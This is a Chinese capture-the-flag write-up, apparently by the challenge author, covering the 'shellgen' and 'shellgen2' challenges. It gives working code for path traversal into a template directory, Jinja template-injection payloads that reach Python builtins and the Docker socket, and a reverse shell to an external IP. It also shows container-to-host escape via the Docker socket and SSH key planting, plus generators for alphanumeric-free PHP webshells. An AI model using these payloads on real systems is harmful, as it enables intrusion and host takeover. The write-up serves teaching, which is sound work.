# shellgen
首先访问可以看到部分源码,发现在运行提交的 python jio本的时候使用的token拼接到了一个目录名上

且直接挂载进了跑python脚本的容器

结合/result处(以及源码各个位置都在暗示的)目录结构:

这样我们能通过控制token为`../templates`将整个模版目录挂载到python脚本的运行环境中。我们可以向模版目录下的一个子目录写一个`result.html`
```python
subdir = '?'
pld.post(host + '/submit', data={
'token': '../templates/' + subdir,
'code': f'''
import os
with open('/opt/result.html', 'w') as f:
f.write("""{payload}""")
'''.strip()
})
for _ in range(10):
res = pld.get(host + '/result').text
if res: break
time.sleep(1)
```
于是我们就能控制result.html中的内容了。。么?怎么`500 Internal Server Error`了?
如果有人愿意本地调试一下的话,就会发现jinja爆的错误是`TemplateNotFound`,我们看到jinja的FileSystemLoader中写道:
```python
def split_template_path(template):
"""Split a path into segments and perform a sanity check. If it detects
'..' in the path it will raise a `TemplateNotFound` error.
"""
...
...
def get_source(self, environment, template):
pieces = split_template_path(template)
...
```
所以我们需要用另外一个session来触发新写入的`result.html`的渲染
```python
```python
subdir = 'qwq'
pld.post(host + '/submit', data={
'token': '../templates/' + subdir,
'code': f'''
import os
with open('/opt/result.html', 'w') as f:
f.write("""{payload}""")
'''.strip()
})
ses = session()
ses.post(host + '/submit', data={'token': subdir, 'code', ''})
for _ in range(10):
res = ses.get(host + '/result').text
if res: break
time.sleep(1)
```
此时由于我们上面的代码先提交到了队列里,会先于后提交的代码执行,这一点也在给出的部分源码中进行了暗示:
```python
def poll():
...
if queue.empty():
return
job = queue.get()
thread = Thread(target=evaluate, args=[job['token'], job['code']])
thread.start()
...
scheduler.add_job(id='executor', func=poll, trigger="interval", seconds=10)
# 每十秒仅取出一项任务运行
```
> 实际上在题目环境中,如果提交空代码的话,会赋值`session['token']`而不会添加新的执行任务,本意也是为了方便多次跑脚本
所以正常情况下(你的脚本不至于屑到10秒都跑不完的情况下)用新session访问result接口会先看到你自己写进去的模版。由于缓存的缘故,我们需要不断换subdir。
接下来先随便构造一个模版。
我自己的话先选择了写一个小代理,类似这样:
```python
{% set socket=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("socket") %}
{% set s=socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) %}
{% set n=s.connect("/var/run/docker.sock") %}
{% set n=s.sendall("{request}".encode()) %}
{{ s.recv(81920) }}
#.replace('}\n', '}').strip().replace('{request}', request)
```
完整的代理[脚本](https://gist.github.com/frankli0324/70d4b1e200a6d90ec6f97dfb87110537#file-proxy-py)
这样就可以像`DOCKER_HOST=localhost:9999 docker info`这样执行一些基础命令了。我们之所以能这么干是因为docker API本质上是基于HTTP设计的,传输过程无状态。
不过我们会发现像`docker run`这样的命令需要升级为双向连接,这样就干不了了,于是我们可以搞回来一个shell用用。我们把docker-cli和docker.sock搞进来,方便进一步操作宿主机。虽然题目容器本身没有外网,但是宿主机还是有外网的:
```python
{% set docker=request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__("docker") %}
{% set s=docker.DockerClient() %}
{{ s.containers.run("ubuntu", "bash -c 'exec bash -i &>/dev/tcp/47.94.169.118/1234 <&1'", mounts=[docker.types.Mount(
type='bind',
source="/var/run/docker.sock",
target="/var/run/docker.sock",
),docker.types.Mount(
type='bind',
source="/usr/bin/docker",
target="/usr/bin/docker"
)]
) }}
```
等等,为什么permission denied?
这时候就应该进一步进行信息搜集。我们看一眼`docker info`:
```
Server:
Containers: 2
Running: 0
Paused: 0
Stopped: 2
...
Server Version: 20.10.5
Security Options:
seccomp
Profile: default
rootless # 注意这里
...
Kernel Version: 5.4.0-66-generic
Operating System: Ubuntu 20.04.2 LTS
Docker Root Dir: /home/d3ctf/.local/share/docker # 还有这里
```
> 这里应该给个hint的。。
关于docker-rootless的更多信息请参考<https://docs.docker.com/engine/security/rootless/>
简而言之,映射到题目容器的docker.sock对应的dockerd是一个低权限用户d3ctf启动的。宿主机上d3ctf用户的完整权限通过rootlesskit利用namespacing映射到了docker容器内的root权限,所以即便你拥有了完整控制dockerd的root权限,在宿主机也会被映射到d3ctf用户的权限。有一定了解之后我们将`/var/run/docker.sock`改为映射`/var/run/user/1000/docker.sock`进容器
之后就是拿宿主机的交互shell了。说实话这里我也没有找到太好的办法,我自己的话是先`curl ip.sb`拿到公网ip,在`/home/d3ctf/.ssh/authorized_keys`下写好自己的公钥,然后ssh连。不过由于比赛中我是把flag放在了d3ctf.dockerd启动的一个容器里,也有的队伍直接把flag容器拖走了,倒也不是不彳亍。这个flag容器也是挺有意思的,它的Dockerfile长这样:
```Dockerfile
FROM gcc AS builder
COPY getflag.cpp getflag.cpp
COPY sleep.cpp sleep.cpp
RUN g++ getflag.cpp -o getflag -static
RUN g++ sleep.cpp -o sleep -static
FROM scratch
COPY --from=builder getflag /getflag
COPY --from=builder sleep /sleep
CMD ["/sleep"]
```
所以即使拿到了宿主机shell,也得分析分析这个镜像里都有些啥才能getflag
本题想表达的有以下几点:
1. 在获取到部分源码时将其补全并在本地搭建最小环境,进行测试
2. docker.sock都能干些啥,docker rootless都能干些啥
3. 在能控制docker.sock时如何逃逸到**宿主机**(而不是别的容器),尤其是rootless dockerd(root dockerd可以`docker run -ti --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host`,rootless不行)
4. 如何审没有任何shell命令的容器(`FROM scratch`)
# shellgen2
shellgen两道题起源于一个有趣的命题:无字母数字webshell怎么写能最短,有没有程序化的生成方式,如果有,该怎么写?
题目本身有点偏算法,但是由于判定松,无时间限制(五秒,很长很长了),成功拿到flag的队伍还蛮多的
#### 境界1,一字一`++`:
首先构造出`a`,对于每个字符都逐个递增,逐个拼接,是最原始暴力的解法:
```python
target = input()
print('<?php')
# 关于phpshell[5:],我误以为php warning不会被捕获,给大家造成了一定的困扰,
# 在此表示一下抱歉。此处取phpshell[6:]
print('$__=[].[];$__=$__[0.9+0.9+0.9+0.9];', end='')
for c in target:
print('$_=$__;', end='')
print('$_++;' * (ord(c)-ord('a')-1), end='')
print('$_1.=++$_;')
```
#### 境界2,优化学徒
取target中所有最长不下降子序列,如下:
```
acdbecfcdgef
a b c cd ef
cd e f g
```
得到两条不下降的序列,然后根据原有序列依次从每个序列的头部开始输出。这里还涉及到一个细节,就是变量名如何取。觉的好玩的话可以思考思考。这个算法也是题目中所使用的算法。
#### 境界3,一遍过
```python
print('<?php')
print('$_=[].[];$_=$_[0.9+0.9+0.9+0.9];', end='')
def hash_char(c):
# 组成由0与9组成的索引
# 比如 0,9,90,99,900,909,990,999...
# 二进制!
return f(c)
target = input()
print('%__=[];')
for c in range(ord('a'), ord(max(target))+1):
print('$_++;', end='')
if c in target:
print(f'$__[{hash_char(c)}]=$_;', end='')
# 这里有一点点小细节
print(f'$_={hash_char(target[0])};')
for c in target[1:]:
print(f'$_.={hash_char(c)};')
print('?><?=$_;')
```
上面这个算法生成php代码的长度很大程度上取决于`hash_char`,是不是有种哈夫曼的味道?
这样以来,我们只需要对a-z的空间扫描一次,就能拿到所有字母的索引,生成目标字符串时,每个字母只需要一个语句就能构造出来。
这个算法还能继续优化,根据目标字符串中字符出现的频率微调hash_char算法。
> 也有更好的算法,归根结底都是减少++的次数与新变量的个数。
这道题在实际比赛中本来就是作为shellgen的“好玩版”放在那里的,所以即使出现了用简单办法通过的队伍也没有进一步加强(其实做出来的25个队伍中绝大多数都是用很暴力的办法过的,由于只check了一组数据,可能会随机到对暴力算法非常友好的数据,所以多交几次大概也就过了),反而放宽了一些限制(当然有个限制是因为我自己的问题,再次抱歉),大家也就,开心就好(